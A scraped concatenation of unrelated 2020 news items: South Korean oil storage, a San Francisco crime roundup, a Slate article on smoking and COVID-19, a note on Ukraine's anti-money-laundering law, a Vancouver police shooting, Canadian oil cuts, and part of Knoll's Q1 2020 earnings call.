time for Lamar to be searching for a new president. The next few months are not going to be easy at Lamar; Kenneth Evans is as qualified as anyone to lead the universitys rebound. South Korea has run out of commercial storage space for oil, according to people with knowledge of the matter, a development thats likely to intensify a global scramble for tankers to store crude and fuels. All of the around 38 million barrels of onshore commercial capacity owned by state-run Korea National Oil Corp. and Oilhub Korea Yeosu Co. is rented out, said the people who didnt want to be identified as the information is private. While some short-term leases are set to expire later this year, the space will be set aside for strategic or logistical purposes, one of the people said. Coronavirus lockdowns have eviscerated energy demand, but many refiners cant completely halt fuel production due to existing long-term supply agreements, increasing the need for tanks to store excess cargoes. Some of these processors, as well as traders, are also keen to buy crude at low prices and sell it later. Brent for December delivery is almost $12 a barrel pricier than the June contract, a market structure known as a super contango. With some of Asias biggest and most sophisticated oil refineries, South Korea has the fourth-largest commercial storage capacity in the region after China, Japan and India, according to Kayrros, an energy markets data analytics company. The country is a popular spot to keep crude and fuels due to its proximity to the other big Northeast Asian economies. In terms of filling of crude tanks, we see a massive increase in Asia excluding China, said Alexis Berson, a senior analyst at Kayrros in Singapore. In South Korea, the trend in the last two weeks has been a gain of 8 million barrels and thats something that has not happened in the past. In South Korea, oil storage tanks are categorized as commercial or public, with the latter category including space set aside for strategic stockpiles as well as for use by local refineries. Korean processors have been asking for access to public tank space, the people said. Some companies have also stepped up their hunt for vessels to hold oil at sea, prompting a spike in the number of tankers chartered for such purposes. A KNOC spokesperson said the company couldnt comment on the matter due to confidentiality agreements. KNOC has around 96 million barrels of capacity for the nations strategic reserves, according to a spokesperson who asked not to be identified due to company policy. Its unclear whether this is full or not. Inventories in other Asian countries such as India and the regional oil hub of Singapore are also filling fast, while the situation in China isnt clear as official data on storage isnt available. We still have some room for land storage, but spare capacity is decreasing fast in main hubs like India, South Korea and Japan, Berson said. We need to see shut-ins happening so that we dont see tank-top situations occurring. Castro, Corona Heights, Duboce Triangle, Mission Photo: Alan Cleaver/Flickr It's time for another look at notable crimes reported in the Castro since our last roundup. All details are from official SFPD reports, unless otherwise noted. Dolores Park assault On April 25 at 5:31 p.m., two men were in Dolores Park when a male suspect struck them with his hands before fleeing. The victims were transported to the hospital with non-life-threatening injuries. Phone robbery Later on April 25 at 8:45 p.m., a 26-year-old woman was at Hancock and Church streets when a male suspect, 18, grabbed her phone. The two struggled over the phone until the suspect took the stolen item and fled. No injuries were reported. Resident scares off thief On April 24 at 2:00 a.m., an unidentified suspect opened a bedroom window on 21st Street near Dolores Street while a 28-year-old woman was asleep in the room. The woman awoke as the suspect attempted to steal her laptop, and confronted the suspect before they fled. Mono Street hot prowl On April 23 at 10:00 p.m., a 56-year-old man living on Mono Street near Market Street discovered that an unidentified suspect had rummaged through a drawer in his house, and that his wallet and money were stolen. Fence fire Early on April 21 at 1:50 a.m., an unidentified suspect set a fence on fire near 16th and Flint streets before fleeing. No arrests or injuries were reported. Bicycle fire On April 19 at 6:00 a.m., an unknown suspect set a bicycle basket on fire near Castro and Market streets. SFFD units arrived and put out the fire. The bicycle was damaged, and its owner wasn't identified. Dolores robbery On April 17 at 7:20 p.m., a 50-year-old man was near Dolores and 18th streets when an unidentified suspect approached him from behind and punched him. The suspect then stole the victim's phone and keys before fleeing, leaving the victim with non-life threatening injuries. Two burglars rob Upper Terrace residence On April 6 at 10:51 p.m., a 32-year-old woman was in her residence on Upper Terrace near Mount Olympus when she heard a noise. She discovered her garage door was open and that two bicycles had been stolen by unidentified suspects. Story continues Burglary on Beaver Early on April 4 at 1:45 a.m., a 31-year-old male suspect broke into a home on Beaver Street near Castro Street. Two residents, a 49-year-old woman and 57-year-old man, were present and called the police. The suspect was arrested, and no injuries or loss were reported. Three suspects cut man in attempted robbery On April 1 at 9:10 p.m., a 41-year-old man was at Dolores and 14th streets when three male suspects in their 50s cut him with a knife and attempted to steal his property. The victim wasn't carrying any personal items. He was transported to the hospital with non-life threatening injuries. Anyone who has information about any of these incidents is encouraged to contact SFPD via the department's anonymous tip line at (415) 575-4444, or text TIP411 with "SFPD" at the start of the message. Heres why we usually dont include suspect descriptions in crime reports. Slate is making its essential coronavirus coverage free for all readers. Subscribe to support our journalism. Are smokers and vapers more likely to die of COVID-19? To judge by news coverage of the topic, the answer is an unequivocal yes. The New York Times, Wired, CNN, Bloomberg, and numerous other publications have run stories warning that smokers and vapers are at higher risk. Anti-tobacco groups are using the pandemic as an opportunity to push for new restrictions on nicotine, ranging from bans on vapor products to the complete prohibition of cigarettes. At least one senator, Richard Blumenthal of Connecticut, is citing the disease as justification for a national ban on flavored e-cigarettes, while House Democrats are urging the FDA to temporarily ban e-cigarettes entirely. Amid all this alarm, one complication has received relatively little notice: Emerging evidence on the risk factors for COVID-19 is ambiguous with regard to smoking and virtually nonexistent for its relationship to vaping. Advertisement Advertisement Advertisement Advertisement Few would doubt that, absent compelling evidence to the contrary, smoking is a plausible risk factor for COVID-19. Smoking is known to generally suppress the immune systems capacity to fight infection, and one would expect smokers to be particularly susceptible to a novel respiratory disease. An evidence review published on March 20, drawing on studies that analyzed hospitalizations in China, concluded that the data, although limited, indicated that smoking is most likely associated with the negative progression and adverse outcomes of COVID-19. Smoking is also associated with other conditions that may worsen COVID-19 outcomes, including diabetes. Thus, initially there was a reasonable expectation that smoking may be a significant risk factor. A month later, the picture is less clear. On April 3, scientists at the Centers for Disease Control and Prevention published an analysis of more than 7,000 COVID-19 cases in the United States, of which strikingly few consisted of smokers. Current smokers comprised only 1.3 percent of the cases and former smokers another 2.3 percent; by comparison, smokers make up about 14 percent of the general American population and about 8 percent of the population over 65. A more detailed multivariate analysis of more than 4,000 cases in New York, published as a pre-print by researchers at New York University on April 11, yielded similarly unexpected results: Surprisingly, though some have speculated that high rates of smoking in China explained some of the morbidity in those patients, we did not find smoking status to be associated with hospitalization or critical illness. A third study from a hospital in Paris found that current smokers were underrepresented in symptomatic and hospitalized cases. A fourth study from northern France, published as a pre-print on Thursday, also found smokers to be significantly less likely to test positive for infection. The authors note in the discussion section of the paper that the protection associated with smoking in our study was very substantial (75% decrease in risk of infection), and deserves full attention. Advertisement Advertisement Advertisement Advertisement Advertisement Theres a scene in the 1973 film Sleeper in which the protagonist, waking up 200 years in the future, is given a cigarette by a doctor who exhorts him: Its tobacco. Its one of the healthiest things for your body. A few people are taking the low prevalence of smokers among COVID-19 cases as evidence that that future has come to pass. David Hockney, an inveterate smoker and brilliant artist (though not, it should be noted, an epidemiologist), wrote the Daily Mail to suggest that smoking has a protective effect: Could it not be that smokers have developed an immune system to this virus? With all these figures coming out, its beginning to look like that to me. Advertisement So, time to break out the smokes? Well, not so fast. Given prior expectations about the effects of smoking on the immune system, its best to view the emerging data as intriguingly suggestive while keeping in mind the difficulty of conducting studies in the fog of a pandemic. Other researchers have cautioned that samples may be skewed by underreporting, and attempting to control for multiple variables is difficult; contradictory data could appear at any time. Its also unclear by what mechanism smoking would reduce risk. Speculation has focused on interactions between nicotine and the ACE2 receptor, where the virus enters the bodys cells, but no one knows for sure what that implies for the progression of COVID-19 or modulation of the bodys immune response. (The Daily Mail article offers an unexpectedly detailed summary of the issue, though.) More evidence is needed before conclusions can be reached with certainty, but theres enough ambiguity in the data to spur further investigation: Researchers in France are planning to test whether nicotine patches affect outcomes among patients and health care workers. Advertisement Advertisement Advertisement Advertisement Advertisement More to the point, smoking is a destructive habit regardless of its relationship to COVID-19. Sara Watle of the Norwegian Institute of Public Health, which recently removed smoking from its list of likely risk factors for COVID-19, is quick to add that it is well established that smoking is unhealthy and contributes to serious health outcomes, so it is always a good idea to stop smoking! Similarly, a pre-print by researchers in Greece and the United States concludes that although the interaction of smoking and the pandemic is currently unknown, the generalized advice to quit smoking as a measure to improve health risk remains valid. Regardless of how ongoing investigations into nicotines effects on COVID-19 turn out, theyre not going to overturn decades of research establishing smoking as extremely detrimental to health. Returning to the Mad Menera ubiquity of smoking isnt an advisable path toward fighting the virus. (If nicotine does turn out to provide some protective effect, ideally it will hold when delivered by means safer than inhaling carcinogenic smoke.) Advertisement The question of whether vaping increases the risks of COVID-19 has received nearly as much attention as the effects of smoking but has not, in fact, been specifically studied. Nonetheless, warnings that vaping will worsen the pandemic have been given substantial press and are lending further motivation to political efforts to ban e-cigarettes. These fears are highly speculative. The Food and Drug Administration initially joined other groups warning that vapers may be at higher risk, but a spokesperson for the agency revised its advice two weeks ago to acknowledge that the relationship is currently unknown. Similarly, an advisory from the American Cancer Society notes that there is currently no evidence supporting a direct connection between e-cigarette use and getting COVID-19 and there is very little direct evidence that e-cigarette use affects COVID-19 outcomes. Advertisement Advertisement Returning to the Mad Menera ubiquity of smoking isnt an advisable path toward fighting the virus. Messaging on vaping is complicated by the fact that millions of vapers are former smokers. In a letter to the FDA signed by 13 experts in the field of tobacco harm reduction, the authors urge that any advice on vaping and COVID-19 should be based on recognition of the pronounced difference in risk between smoking and vaping, the difficulty that many face in quitting nicotine use completely, the risks of harmful unintended consequences, and the strong association of smoking with poverty and various forms of disadvantage. In other words, they worry that the promotion of unfounded fears in relation to COVID-19 may drive vapers back to smoking, with destructive consequences for their health. Recent experience suggests that this concern is well founded. In a different outbreak, the mysterious lung illnesses that began last year and hospitalized nearly 3,000 Americans, statements by the CDC, campaigns by anti-smoking advocacy groups, and reports by mainstream press all blamed nicotine e-cigarettes for the disease. It was later established that contaminants in primarily black-market cannabis products were overwhelmingly behind the outbreak, but the damage was done: Public opinion turned decisively against e-cigarettes, flavor bans proliferated, and misperceptions about the risks of vaping have persisted in spite of the newer information. Advertisement Advertisement Advertisement Less than a year later, both the media and anti-smoking groups seem poised to repeat the mistake. Its possible that vaping may marginally increase the risks of COVID-19; its also possible that exaggerating fears will harden public attitudes against vaping, discourage smokers from switching, and lead to even more restrictions on e-cigarette products. These possibilities highlight the danger of politicizing science and taking advantage of a frightening illness to promote a preexisting agenda. Policies put into place during a once-in-a-lifetime pandemic are unlikely to be accurately informed by long-run considerations, but their effects will last beyond the current crisis. Congressional Democrats request to ban e-cigarettes while leaving conventional cigarettes on the market, for example, was exceptionally ill-advised, and the FDA wisely declined to take action. Advertisement Advertisement Advertisement More research is clearly needed on the relationship between smoking, vaping, and COVID-19, but the findings probably shouldnt much influence our opinions of those practices. Smoking remains detrimental to health, and vaping remains a viable off-ramp to quitting. Investigations into nicotines effects on the virus may well come to nothing. However, we also shouldnt allow demonization of the drug to prevent us from being open to potentially useful discoveries. If the tobacco plant turns out to play a beneficial role in this pandemic after centuries of blame for so many ills, it will be yet another unexpected plot twist in an already very unusual year. Ihor Olekhov, partner, CMS Cameron McKenna Nabarro Olswang On 28 April 2020, a new Law comes into force On the Prevention and Combating the Legalisation (Laundering) of the Proceeds of Crime, Terrorist Financing and Financing of the Proliferation of Weapons of Mass Destruction (the AML Law). The key objective of the AML Law is the consolidation of efforts and the enhancement of the coordination and quality of work done by entities responsible for financial monitoring in combating money laundering, offshore structures and tax evasion. The mechanisms introduced by the AML Law include in particular extending the broad tax powers provided for in draft law No. 1210 (the Tax Law) voted by the Verkhovna Rada of Ukraine in January 2020, although still unsigned by the President. Having analysed the AML Law and the Tax Law through the prism of their impact on private persons and their capital, we have identified similar trends and anticipate that they will also be reflected in other legislation. Below we make observations and recommendations to help the business community and other capital owners prepare for todays and future changes. Comprehensive Client Due Diligence The AML Law provides for numerous measures aimed at an enhanced due diligence of the client, its structure, commercial activity and financial transactions. From among these key changes, we highlight the following: a wider range of primary financial monitoring entities ( PFME ) which are obliged to detect suspicious transactions in clients activities and report such instances. As a reminder, at present the list of the PFME includes banks, financial institutions, accountants, legal advisors, tax advisors, persons providing the services of the formation and management of legal entities, notaries, estate agents, cryptocurrency exchanges, etc; ) which are obliged to detect suspicious transactions in clients activities and report such instances. As a reminder, at present the list of the PFME includes banks, financial institutions, accountants, legal advisors, tax advisors, persons providing the services of the formation and management of legal entities, notaries, estate agents, cryptocurrency exchanges, etc; the introduction and application of a risk-oriented approach in the work of the PFMEs with clients. The new approach requires several criteria to be considered, including the identity of the client, the country of the companys registration, the type of activity, the scale of financial transactions, the business model, the beneficial owners, etc.; in other words, PFMEs will pay considerable attention to owners of non-transparent business structures, complex business models and high-value transactions, and will apply a complex approach to analysing the related information; stricter requirements regarding the identification and disclosure of ultimate beneficial owners. From now on, PFMEs will be obliged not only to identify but to verify the reliability of the information about the ultimate beneficial owner of their clients; detailed disclosure of relations with politically exposed persons and their related persons that have been established to carry a high degree of risk. Note that the law includes business partners among related persons, therefore private capital owners should take account of potential risks associated with any family and business relations with politically exposed persons; a significant increase in the fines that can be imposed for failing to comply with the AML Law. For example, PFMEs can now be fined as much as UAH 27 million and for those PFMEs that are financial institutions, UAH 135 million. Stricter sanctions are expected to act as a stimulus for taking the financial monitoring obligations more seriously. However, the developments introduced by the Tax Law also provide new requirements for extensive disclosure Ukrainian residents are to make reports to the tax authorities. In particular, the Tax Law introduces a controlled foreign companies (CFC) tax regime that will require Ukrainian beneficial owners to report to the tax authorities any companies they control abroad. As part of this reporting, information about the ownership structure/control inside business groups will have to be disclosed. Thus, Ukraine is moving towards comprehensive financial and tax disclosures that have practically become a reality in many jurisdictions around the globe. Accordingly, we expect progress in external audits of clients and analytical activity aimed at enabling PFMEs to confirm the information that a client provides on its business, structure, beneficiaries, tax payments, etc. Consolidation of Efforts and Exchange of Information Another trend is the introduction of the exchange of information mechanisms concerning clients at national and international levels. The exchange of information will operate for both the measures aimed at combating money laundering and tax purposes. At the national level, the AML Law enables PFMEs to exchange information they have obtained as part of the know-you-customer (KYC) procedure. In addition, the possibility of exchange is provided for regarding information on a refusal to the client to establish a business relationship, open an account or perform a financial transaction. This means that a single instance of being listed as a violator may considerably affect the clients reputation among PFMEs in the future. At the international level, the AML Law makes international cooperation possible on a case-by-case basis, which, in practical terms, is not always an efficient measure of combating financial crime. An obligation is placed on PFMEs to monitor whether clients and their capitals have any connections with terrorism and terrorist financing. The key evidence that may prove such a connection exists is the UN Security Councils resolutions, decisions of foreign states and courts. On the other hand, an example of an efficient international exchange of information is the cooperation under common reporting standards, known as CRS, that provide for the automatic exchange of information between jurisdictions on clients accounts with financial institutions for the purpose of using such information in tax inspections. At present, Ukraine is not yet a fully-fledged participant of this cooperation; however, the accession process has already started with the adoption of the Tax Law which makes the necessary changes to the national legislation regarding financial institutions reporting on client accounts. Subsequent steps envisage Ukraines accession to international instruments that will give the green light to the exchange of collected information. Thus, the world and Ukraine are demonstrating a noticeable trend with PFMEs and, in particular, financial institutions becoming all but key agents in fighting for the transparency of doing business and taxation. Not only are financial institutions authorised to collect an extensive slice of the information about their clients, they are able to analyse it, make conclusions, report it to the state authorities and exchange it between each other. Financial institutions today possess an enormous amount of information. The establishment of national and international exchanges will enable states and their tax authorities to access this information and use it, in particular, for law-enforcement and fiscal purposes. In such settings, the opportunities to hide behind the shield of banking secrecy are becoming fewer and fewer. To minimise potential risks and the adverse impact on the business community, we recommend that private capital owners prepare for the new realities. In particular, private capital owners should make the corporate structures as simple as possible, work on the business models, prepare for audits on the part of the PFMEs and be ready to provide explanations and, in some instances, supporting documents to the extent of both the sources of capital and compliance with the requirements for its taxation. One person was hurt in a police shooting late Tuesday morning in Vancouver, authorities say. Vancouver police said they were called to a physical disturbance between two men in the area of Fourth Plain Boulevard and Stapleton Road. Police said when they arrived at the scene, one man was unconscious on the ground. Police did not say how that man was injured. The other man at the scene refused police commands to put down sharpened objects, police said, so three Vancouver police officers fired at him. The condition of the injured person was unclear, and no additional information about the circumstances has been released. While police have yet to clarify any details about the shooting, a video posted on YouTube Tuesday shows six police officers pointing guns at the suspect, who appears to be walking around several feet away from the officers, holding what appear to be two stick-like objects in his hands. About 30 seconds into the 4 minute, 15 second video, an officer appears to fire something, possibly a taser, at the man, but he doesnt seem to be affected. GRAPHIC CONTENT WARNING The man continues to pace about 15 feet away from the group of officers, most of whom are using a car as a barrier between themselves and the man. The bystanders who filmed the video expressed dismay at various points in the video that the officers were pointing guns at the man, and observed that the man appeared to be having a mental health crisis. Around the 3-minute mark, officers fired at least three shots at the man, and he immediately dropped to the ground. After they shot the man, the six police surrounded him and continued to point their guns at him. A seventh police officer walked toward the group and also stood around the man. About 45 seconds after they shot him, the officers knelt on the ground and appeared to be inspecting the mans injuries. East Fourth Plain Boulevard at Northeast Stapleton was closed for several hours while police investigated. The citys police chief, city manager and mayor issued statements about the shooting Wednesday morning. But authorities have yet to release additional information about the circumstances of the incident or the people involved. Anytime something like this occurs in a community it is shocking and heartbreaking," City Manager Eric Holmes said. "On behalf of the city organization, I offer our deepest concern and compassion to all those involved. While we dont know all the facts in the case yet, I have confidence in and look forward to the results of a thorough, impartial and independent investigation. This report has been updated. -- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015 --Jayati Ramakrishnan; jramakrishnan@oregonian.com; 503-221-4320; @JRamakrishnanOR Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. As Canadian oil firms prepare to start reporting what would surely be bleak Q1 earnings and short-term outlooks, analysts expect that the companies will announce curtailments in production to the tune of around 1 million bpd in the coming months given the demand loss and low oil prices. It is hard for us to fathom how Western Canadian crude production can avoid a ~1 million+ bbl/d drop in output in the coming weeks, Michael Dunn, an analyst at Stifel FirstEnergy, said in a note, as carried by Bloomberg. Companies in Canada have already reacted to the oil price plunge, but analysts and investors will be looking for further clues in the earnings reports about how they plan to go through the second major oil crisis in just five years. Husky Energy has cut its budget and production, Cenovus Energy slashed its 2020 capital spending by around 32 percent, Suncor cut capital guidance, and so did Canadian Natural Resources. Athabasca Oil Corporation also cut its capex and proactively curtailed heavy oil production at Hangingstone. I expect to see cuts everywhere Its a survival game right now, Athabasca Oils CEO Rob Broen told Calgary Herald columnist Chris Varcoe last month. Being price takers has made us uniquely vulnerable to dramatic shifts in the oil price and what were seeing today will have immediate negative impacts on Canadas economy, Tim McMillan, President and CEO at the Canadian Association of Petroleum Producers (CAPP), said in early March when international oil prices crashed 25 percent. According to Rystad Energy estimates, Canadian curtailments are already in full swing, and the building storage crisis will continue to test operations as we approach May when global storage is likely to reach full functional capacity. Unless more significant upstream volumes are cut globally, Canadian curtailments may ultimately exceed 1.3 million bpd in the second quarter, Rystad Energys senior analyst Thomas Liles said earlier this week. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: Knoll (NYSE:KNL) Q1 2020 Earnings Call , 5:00 p.m. ET Contents: Prepared Remarks Questions and Answers Call Participants Prepared Remarks: Operator Good afternoon, everyone, and welcome to the Knoll, Inc. first-quarter 2020 question-and-answer Session. This call is being recorded. This call is also being webcast. In addition, this call may offer statements that are forward-looking statements, including, without limitation, statements regarding Knoll's long-term revenue and profitability growth goals, future outlook for the industry and economy, ability to integrate acquired businesses and expectations with respect to future leverage. These forward-looking statements are based on the company's current expectations and are subject to a number of risks and uncertainties, certain of which are beyond the company's control. Actual results may differ materially from forward-looking statements as a result of many factors, including the factors and risks identified and described in Knoll's annual report on Form 10-K and its other filings with the Securities and Exchange Commission. These cautionary statements are particularly relevant in the current environment where the COVID-19 pandemic has created significant uncertainty. All of our forward-looking statements today should be considered within the context of that uncertainty. The call today may also include references to non-GAAP financial measures. Reconciliations of these measures to the most comparable GAAP financial measures are included in the earnings letter released earlier today. I will now turn the call over to Andrew Cogan, the chairman and CEO of Knoll, for opening remarks. Andrew Cogan -- Chairman and Chief Executive Officer Thank you, and good afternoon, everyone. I hope this finds all of you on this call safe and well. In addition to the enhanced commentary in our earnings release, I thought it would make sense to start off this call with a few brief comments on current business conditions. Understandably, April orders are tracking down approximately 35% compared to prior year. On the residential side, with Europe, including many of our dealers, as well as our two Italian plants largely shut and most HH showrooms and our own two Knoll shops closed, the declines are greater. We would expect, as these businesses are able to start to reopen in May and June, these trends will improve. On the workplace side, we've continued to see a greater number of orders pushed out and even, in some cases, canceled as clients reassess their needs, but at the same time, new opportunities emerging as some of our larger clients, in particular, are planning on placing orders for screens, partitions and other safe workplace enhancements as they prepare to bring employees back into their offices in the weeks and months ahead. A bright spot on the work-from-home front has been our Fully e-commerce business, which is seeing 50% to 100% weekly increases in demand. And as we noted in our release, we are accelerating our other e-commerce initiatives to take advantage of what we believe will be a growing leg of our clients' workplace strategies. There is as much volatility in overall activity here as I've ever seen, so it's hard to drive too many longer-term conclusions from April. We do know, however, that compared to the dot-com/9/11 period or the financial crisis of '08-'09 where the industry declined approximately 30% that we did not have the bubble buildup in demand heading into 2020 that contributed to the multiyear overhang in those crashes. We've clearly spent significant time looking at a variety of scenarios in terms of how this could play out. With the benefit of the actions we've taken, we think, depending again on the mix in any given quarter between the office and lifestyle segments, that we will experience between 40% to 50% negative deleveraging on the gross margin line and approximately 20% to 25% on the adjusted EBITDA line. In these scenarios, we expect to remain cash flow positive. Obviously, there's a lot of uncertainty with respect to the economy and how all this plays out. But today, we don't see leverage elevating beyond what is allowed under our credit facility. We have enjoyed a 20-plus-year relationship with our lending group and have worked through previous recessions and, in some cases, waivers, without hindering our ability to grow or invest in the business. We wouldn't expect the current environment to create different behavior with our lenders, especially given their ongoing support of our business. So if we did need relief, we don't think that getting some would be a problem, particularly given our ample liquidity and credit facility that runs well into 2024. Now let us open the line for your questions. Questions & Answers: Operator [Operator instructions] And our first question comes from Greg Burns from Sidoti & Company. Greg Burns -- Sidoti and Company -- Analyst Good afternoon. Can you just maybe give us an update on your operations? What facilities are, I mean, still closed? What are open? Or maybe a better way to look at it might be, what percent of your manufacturing capacity is currently online? Andrew Cogan -- Chairman and Chief Executive Officer Sure. Hey, Greg, I hope you're doing well. So in general, right now, in -- when we start with North America. So our four main plants in North America, which include two in Michigan, one in Toronto and one in Pennsylvania, are completely open and operational, as are all our warehouses for everything from Fully to Edelman to KnollTextiles, Spinneybeck, all those are operational. In North America. Really the only facilities we have closed are DatesWeiser in Buffalo, which is where we produce the DatesWeiser product; and then the HOLLY HUNT workrooms in Chicago and Texas. The good news there is that we've just learned that it looks like the HOLLY HUNT space in Texas will be able to open in the middle of this month, as well DatesWeiser in Buffalo, so we're encouraged by that. In Europe, our two plants in Italy are shuttered. However, they both will be opening this week, first in the south and then a little more in the north. So basically, by the end of this -- by the end of the middle of May, everything but HOLLY HUNT in Chicago, where we have another workroom on the upholstery side, everything will be open, except that, and we hope that opens by the end of May. So we're really fundamentally operational. And in terms of staffing capacity, I'd say we're running around 75% or 80% of our usual capacity, Greg, which is about in line with demand right now. Greg Burns -- Sidoti and Company -- Analyst OK. And I guess you gave some incremental color about the order patterns in April. I don't know if you could look much beyond that. But just in general, I guess, what are you hearing from your customers because it sounds like there are maybe some positives of them? Looking again at their office spaces, they bring customers back. But are you seeing maybe delays in buying decisions, orders getting pushed out? Just what are you hearing from your customers? Do you feel like you'll get past this, and it's more of a V-shape recovery would get back to normal? Or do you think this kind of has caused maybe a longer-term slowdown that maybe takes a longer time to recover from -- for the industry? Andrew Cogan -- Chairman and Chief Executive Officer Well, I'd say all of the above, Greg. Again, I think three weeks of a month are really too hard to make a judgment from. What I will say is this. I think, initially, the residential piece has been hit harder, and I think that's understandable when you think about all the HOLLY HUNT showrooms are shut. You've got -- decorators can't go into those buildings. We've got folks working remotely and/or on furlough. Our Knoll Shops are shut. Our residential dealers across Europe are pretty much closed. So even if -- and Muuto is, by the way, fully operational. But even there, the dealers aren't necessarily open. And then similarly, the residential dealers for Knoll Europe are shut. So I think the residential thing has really kind of shut the hardest, fastest and declined the most. I think on that end, as things start to reopen up, we would expect to see that activity gradually pick up. And in fact, many of those businesses have good backlog to ship, but they're struggling with the fact that the clients just can't receive the product. HOLLY went into this with a very solid backlog, and they just can't ship a lot of that product to their clients and everything. So I think that's kind of the picture on the residential side. On the workplace side, I think, again, people are just trying to get their handle on what's going on. I think some clients are using this, frankly, to complete work they had under way. Others, where they've made a real estate commitment, are moving forward. Now they may be delayed in their ability to accept that. And clearly, as construction is starting to be deemed or allowed in more states, that will allow us to ship some of that product. So we are holding more product than usual and everything. Clearly, as we look kind of beyond this immediate period and everything, every time there's a change or disruption, it often ends up creating demand for furniture. And we are spending a lot of time with our clients looking -- and ourselves, frankly, at looking at what the future of work is going to be, what the workplace will look like, how do we help our clients come back in a healthy and safe way and what does that mean in terms of partitions and screens and different ways of planning, materials. And those are all things our teams are really aggressively on. We're doing a lot of co-creating with some of our largest clients, and that could result in some incremental demand, particularly as clients may spread out over more facilities. So I think there is some opportunity, clearly, that all this disruption will lead to more demand. Listen, I mean the reality also is that our clients -- a lot of clients are conserving capital, conserving cash and where they have a discretionary investment. They're postponing it, so I would say we've seen a handful of cancellations. We've seen a lot more postponements. And I think depending on how this plays out, that will determine how long those postponements linger. Looking at the absorption data in the first quarter, I was heartened today to see the positive absorption in the first quarter. That means there's -- people have signed leases, and they're going to fill up those space. Now what they fill it up with and how they fill it up may be different, and I think that's causing some of the pause in orders we're seeing right now. But we do believe people will kind of go ahead. And if you've signed a lease, you're going to finish out building up those facilities. Much beyond that, Greg, it's really hard to predict. Greg Burns -- Sidoti and Company -- Analyst OK. Thanks fora ll that color, appreciate it. And then I just want to touch on the investments you're making around the e-commerce, in Fully, and Muuto. Are the investments you're making there inclusive of the $65 million you expect to save? Or is that an incremental investment you need to make, maybe reinvesting some of that $65 million back into the business? And then what is the time frame on -- now with the Muuto side of the -- rolling out the residential side of that business? Andrew Cogan -- Chairman and Chief Executive Officer Yes. You've been consisting on the Muuto point for a long time, Greg, so I appreciate your question. In terms of the incremental investment, I don't think it's going to be tremendous. What we've decided to do, and again, we've seen the success with Fully. That business is running up 50% to 100% weekly, and we're just trying to keep up with all the demand for ergonomic work-from-home products, well-designed work-from-home products, which Fully -- and they ship in one to two days, I mean, really, really a terrific model on everything. So we said, well, how can we learn from Fully and implement that for our own businesses? So we do have a small knollshop.com -- knoll.com. We have our own e-commerce shop, but the offering is relatively limited in the work from home. And as you know, there are no Muuto products available on an e-commerce basis, really, anywhere in North America, certainly not in our site. So we gave the teams a challenge to how do you, in 90 days, leverage the platforms we have, the inventory we already have. So there's really very little incremental investment and broaden the scope of our own work-from-home office products and stand that up in 90 days. And we gave that challenge a couple of weeks ago. And the teams, both in Denmark and in North America, have been going hard at it. We're meeting with them a couple of times a week, and I'm super excited with what they've figured out, both from a technology and a service standpoint. And my hope is that we standed up in that 90-day window, which would be, let's call it, right after the July fourth holiday. And so that's what the teams are doing, and we're super excited about it. And it could be a really nice addition to supplement the way our clients are working from home. The other thing I would point out was Fully is there. We're also able to support some of our corporate clients who said, listen, how do I get these -- get our employees furnishings for their home offices? I mean, I had to stand up a home office very quickly that I didn't have, and I've put an order in Fully. And three days later, I was in business. So we're also working with our clients, so they can access Fully, as well for their employees, at home. So that's the challenge, Greg, I'd say, early in July. It's not soon. Greg Burns -- Sidoti and Company -- Analyst Thank you. Operator [Operator instructions] Our next question is from Steven Ramsey with Thompson Research. Steven Ramsey -- Thompson Research -- Analyst Good evening, guys. I guess to continue on with the Fully thoughts, can you maybe talk to even just broadly where Fully margins were prior to the acquisition and where you think you can have them this year as you invest for growth and grow on the fixed base and maybe over time, maybe longer term? Andrew Cogan -- Chairman and Chief Executive Officer Yes. I mean, off the top of my head, I think they were in the upper single-digit kind of adjusted EBITDA-margin basis. And I think we've obviously been able to help them on some of their cost work and everything, leverage some of our sourcing, some kind of the back-office stuff that wasn't a lot of kind of value-add. And I would hope, over time, we are consistently running in the double-digit EBITDA margins. So certainly, Fully shouldn't be any lower than our office segment adjusted EBITDA margins. That would be kind of our goal, at worst, in line, and hopefully, maybe even a little bit better. Steven Ramsey -- Thompson Research -- Analyst Great. And maybe more elementary question on Fully, but how much of Fully's product goes through dealers? How much of it goes direct-to-consumer firm Fully? And is there an intention over time for that breakout of customers to change? Andrew Cogan -- Chairman and Chief Executive Officer Yes. I mean Fully is really a very independent channel. I mean, listen, our contract furniture dealers don't really want to waste their time selling someone three desks for their home. I mean, our dealers are phenomenal at larger, more complex projects, where there's a lot of value-add, both in how they service it and then in the ongoing relationship. And Fully is very much about an individual at home trying to set up an office. That's the bulk of their business. They do some small kind of workplace projects, where they'll do 10-, 20-, 30-, 40-person offices, but it's really a different segment of market than our dealers. What we have done is where we have extended some of these Fully -- extended offers to -- for Fully to support our corporate clients. We are doing that with laying off part of that to our dealers, so they have a participation in it where they have the corporate relationship. But you really should think about these as very distinct channels and solving very different problems. Steven Ramsey -- Thompson Research -- Analyst Great color. On the capex reduction, to understand this better, the $20 million reduced capex, is that geared toward a certain segment, a certain category? And then I guess, also, could capex be reduced further? And what conditions would warrant that? Andrew Cogan -- Chairman and Chief Executive Officer Charles, do you want to go ahead? Charles Rayfield -- Senior Vice President and Chief Financial Officer Yes, yes, yes. Great. Thanks, Steven. So I would say that some of our investment capex has been reduced where possible, but our split still about 30% IT related and probably maybe 45% investment and then 20% or so maintenance. So sort of unilaterally across the board, a little bit more in the investment area. And yes, we can take capex down quite a bit further, if needed. I think there's a couple of projects we want to keep moving forward with for appropriate investment purposes, obviously some of the maintenance activities. But yes, we can reduce it quite a bit more if needed. Steven Ramsey -- Thompson Research -- Analyst Excellent. And then last question for me, I guess just pondering. Obviously, there's 1,000 scenarios that could happen. But under a scenario where the economy is open again in the second half of the year and then you have the deferred work that you're playing catch-up on, so you get the natural lift of the reopened economy, but you've also pulled back on operations. How would you be able to handle that sort of scenario? Andrew Cogan -- Chairman and Chief Executive Officer Well, we're not expecting a snapback here. I mean, I think we've got a good backlog that will help some in the second quarter. Although, again, it will be limited by our either openness, which is getting better each day and/or by our clients' ability to accept that product. And then I think, right now, everyone is kind of a bit frozen, and so you'll need to work through that. But I don't see our capacity being a constraint. It's not on my list of top 10 worries right now. Steven Ramsey -- Thompson Research -- Analyst Great. Thank you. Operator Thank you. Our next question comes from Colin Casey with Vulcan Value Partners. Colin Casey -- Vulcan Value Partners -- Analyst Good evening, folks. Andrew Cogan -- Chairman and Chief Executive Officer 